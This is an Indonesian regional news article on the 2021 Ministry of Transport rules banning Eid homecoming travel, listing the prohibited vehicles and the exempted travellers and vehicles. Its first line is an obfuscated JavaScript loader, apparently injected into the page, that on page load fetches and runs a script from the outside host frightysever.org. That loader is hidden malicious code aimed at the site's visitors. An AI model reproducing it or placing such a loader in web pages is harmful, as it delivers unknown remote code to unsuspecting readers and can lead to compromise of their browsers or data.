(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Kemenhub (Kementrian Perhubungan) sudah menerbitkan aturan transportasi pada masa Idul Fitri. Berikut ini kendaraan yang boleh melintas saat mudik 2021.
Aturan transportasi pada masa Idul Fitri tersebut tertuang dalam ‘Peraturan Menteri Perhubungan Nomor 13 Tahun 2021 tentang Pengendalian Transportasi Selama Masa Idul Fitri Dalam Rangka Pencegahan Penyebaran Covid-19’.
Aturan yang diterbitkan Kememhub tersebut sejalan dengan kebijakan pemerintah mengenai peniadaan mudik Idul Fitri 1442 H. Adapun kebijakan peniadaan mudik tersebut tertuang dalam Surat Edaran Satgas Penangan Covid-19 No. 13 Th. 2021.
Surat Edaran tersebut berisi tentang Peniadaan Mudik Hari Raya Idul Fitri 1442 Hijriah dan Upaya Pengendalian Penyebaran Covid-19 Selama Bulan Suci Ramadan 1442 Hijriah.
Baca juga : Keutamaan 10 Hari Pertama di Bulan Ramadan
Kendaraan yang boleh melintas saat mudik 2021
Perlu diketahui, kebijakan peniadaan mudik serta pengendalian transportasi ini dilakukan dengan sistem larangan pengoperasian sarana transportasi bagi semua moda transportasi, yakni moda darat, udara, laut hingga perkeretaapian yang akan berlangsung pada 6 hingga 17 Mei 2021.
Adapun kendaraan yang dilarang untuk beroperasi selama berjalannya kebijakannya tersebut yaitu sebagai berikut.
Kendaraan bermotor umum dengan jenis mobil bus dan mobil penumpang
Kendaraan motor perseorangan dengan jenis mobil penumpang, mobil bus, dan sepeda motor.
Kapal angkutan sungai, danau, dan penyeberangan
Meski dilarang total, namun pemerintah mengecualikan bagi masyarakat yang memiliki kepentingan. Adapun sekelompok masyarakat yang memiliki pengecualian tersebut yaitu sebagai berikut.
Baca juga : Pemkab Banjar Bolehkan Tarawih Berjemaah di Masjid dan Musala
Masyarakat yang melakukan kunjungan terhadap keluarga sakit
Masyarakat yang melakukan kunjungan duka atas anggota keluarga yang meninggal
Perjalanan ibu hamil dengan 1 orang pendamping
Perjalanan kendaraan untuk tujuan melahirkan dengan pendamping maksimal 2 orang.
Kendaraan masyarakat dalam rangka pelayanan kesehatan darurat
Pekerja (ASN, pegawai BUMN/BUMD, Polri, TNI, pegawai swasta) asal dilengkapi dengan surat tugas dan tanda tangan basah dan cap basah dari pimpinan
Pengecualian tersebut juga berlaku bagi sejumlah kendaraan. Adapun kendaraan yang boleh melintas saat mudik yaitu sebagai berikut
Kendaraan pimpinan lembaga tinggi negara
Kendaraan dinas operasional berplat dinas, TNI dan Polri
Kendaraan dinas operasional petugas jalan tol
Kendaraan pemadam kebakaran ambulans dan mobil jenazah
Kendaraan yang digunakan untuk pelayanan kesehatan darurat, ibu hamil, anggota keluarga inti
Nah, itulah informasi mengenai kendaraan yang boleh melintas saat mudik 2021 maupun kendaraan yang tidak boleh melintas. Yuk patuhi kebijakan dan peraturan tersebut demi memutus rantai penyebaran Covid-19.(Suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.